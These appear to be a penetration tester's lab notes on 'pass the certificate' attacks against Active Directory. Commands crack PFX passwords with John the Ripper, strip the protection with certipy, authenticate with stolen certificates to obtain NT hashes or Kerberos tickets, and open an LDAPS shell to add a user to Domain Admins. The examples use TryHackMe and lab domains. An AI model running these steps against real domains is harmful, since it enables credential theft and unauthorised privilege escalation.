Skip to main content

Pass the Certificate

Cracking PFX Archives

A .pfx archive is a way to bundle the certificate, key, and metadata in one container. There are ways to unbundle the archive and output the data into their individual parts. However, .pfx files are typically password protected, and would be required to extract the data.

pfx2john file.pfx > pfxhash.txt
john --wordlist=rockyou.txt --fork=4 pfxhash.txt


Optional: Remove Password from PFX

Assuming you had any luck cracking the password protecting the .pfx file, you can use certipy to remove the password and output a new .pfx file for convenience.

certipy-ad cert -export -pfx pw_protected.pfx -password 'P@$$word123!' -out unprotected.pfx

Convert PFX to PEM Format

https://notes.benheater.com/books/certificates-and-encryption/page/convert-pfx-to-pem

If you've used certipy to output a .pfx without a password, you will still be prompted for a password when converting the PFX to PEM. Just press the Enter key when prompted for the password.

Extracting the certificate data and key makes it possible to get a more granular look at the certificate's X.509 data.

Read X.509 Data from Certificate

https://notes.benheater.com/books/certificates-and-encryption/page/read-x509-data-from-certificate-file

You could use the openssl command on this page and pipe it to grep or less and search for things like:

  • User emails
  • DNS names (machine account certificates)
  • Subject Alternative Name (SAN)
    • otherName (UPN / sAMAccountName)

Pass the Certificate

certipy-ad auth -pfx 'unprotected.pfx' -dc-ip '10.80.80.2' -username "john.doe" -domain "ad.lab"
certipy-ad auth -pfx 'pw_protected.pfx' -password 'pfx_password_here' -dc-ip '10.80.80.2' -username 'john.doe' -domain 'ad.lab'

Supply a -password argument when authenticating with password-protected certificates

image.png

You can now use the NT hash for NTLM authentication -- if supported. Or, you can use the .ccache file to authenticate using Kerberos.

No TGT? No Problem

Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

This error is somewhat ambiguous and may not necessarily mean that PKINIT is unsupported on the DC. If you've double-checked the certificate, the target username, the password, and all other pertinent details, it's possible that certificate-based authentication is broken or unsupported.

However, LDAPS does not require PKINIT to authenticate, so even if you see this error, you should be able to leverage your certificate to get a LDAPS shell. If you're a privileged user, you may find alternative means to achieving your objective.

Examples as shown here: https://benheater.com/tryhackme-persisting-active-directory/

certipy-ad auth -pfx domain-admin.pfx -password 'pwned123' -dc-ip 10.200.61.101 -username 'Administrator' -domain 'za.tryhackme.loc' -ldap-shell

Open LDAPS shell as domain admin

# add_user_to_group unpriv.user "Domain Admins"

Add an unprivileged user to the Domain Admins group

Back to top